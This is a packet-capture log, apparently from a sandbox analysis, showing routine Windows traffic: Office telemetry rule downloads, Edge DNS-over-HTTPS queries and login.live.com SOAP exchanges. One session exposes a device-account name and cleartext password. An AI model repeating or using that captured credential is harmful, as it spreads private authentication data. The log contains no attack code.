Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:26 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: def873b9-d01e-0065-46f7-2cb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151626Z-16547b76f7fx6rhxhC1DFW76kg0000000nbg000000005esv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49790	172.64.41.3	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:26 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-15 15:16:26 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-15 15:16:27 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 15 Nov 2024 15:16:27 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3033d4efdbe54a-DFW alt-svc: h3=":443"; ma=86400
2024-11-15 15:16:27 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 b5 00 04 8e fb 74 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomt^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49791	172.64.41.3	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:26 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-15 15:16:26 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-15 15:16:27 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 15 Nov 2024 15:16:27 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3033d4ecc96b31-DFW alt-svc: h3=":443"; ma=86400
2024-11-15 15:16:27 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 20 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom s^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49778	40.126.31.71	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:26 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-15 15:16:26 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-15 15:16:27 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 15 Nov 2024 15:15:27 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: ae3128e8-48e2-4273-80fc-4fa859e1e489 PPServer: PPV: 30 H: BL02EPF0001D854 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 15 Nov 2024 15:16:26 GMT Connection: close Content-Length: 1276
2024-11-15 15:16:27 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:27 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:27 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 09da145b-201e-0033-5108-32b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151627Z-16547b76f7f67wxlhC1DFWah9w0000000n9000000000frk6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:27 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49780	40.126.31.71	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:27 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-15 15:16:27 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 61 67 75 6b 7a 6f 7a 65 61 73 69 78 66 71 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 7a 2e 31 63 58 30 7a 4d 5e 57 5a 6a 38 34 4b 28 38 7a 4a 63 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02agukzozeasixfq</Membername><Password>z.1cX0zM^WZj84K(8zJc</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-11-15 15:16:33 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Fri, 15 Nov 2024 15:15:27 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_BAY x-ms-request-id: fa6096f9-766d-4b62-8f98-9acff3729031 PPServer: PPV: 30 H: PH1PEPF00011E81 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 15 Nov 2024 15:16:32 GMT Connection: close Content-Length: 17166
2024-11-15 15:16:33 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 34 30 31 30 37 38 30 41 33 34 43 33 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 63 34 65 66 38 66 39 61 2d 64 64 30 32 2d 34 66 34 66 2d 39 30 38 37 2d 61 66 38 66 65 35 65 35 62 32 39 37 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>00184010780A34C3</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="c4ef8f9a-dd02-4f4f-9087-af8fe5e5b297" LicenseID="3252b20c-d425-4711
2024-11-15 15:16:33 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49804	162.159.61.3	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:27 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-15 15:16:27 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-15 15:16:27 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 15 Nov 2024 15:16:27 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3033d989f4ea36-DFW alt-svc: h3=":443"; ma=86400
2024-11-15 15:16:27 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 a1 00 04 8e fa 72 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomr^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:27 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:27 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 99102dbc-c01e-0066-43c1-2ca1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151627Z-16547b76f7fffb7lhC1DFWdsxg00000001h000000000rxys x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:27 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:27 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:27 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 06b7652e-701e-000d-4eaf-366de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151627Z-16547b76f7flf9g6hC1DFWmcx80000000ayg000000000w0r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:27 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:27 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:27 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 3faa7a2c-701e-001e-5709-37f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151627Z-16547b76f7fxdzxghC1DFWmf7n0000000na000000000qh4r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
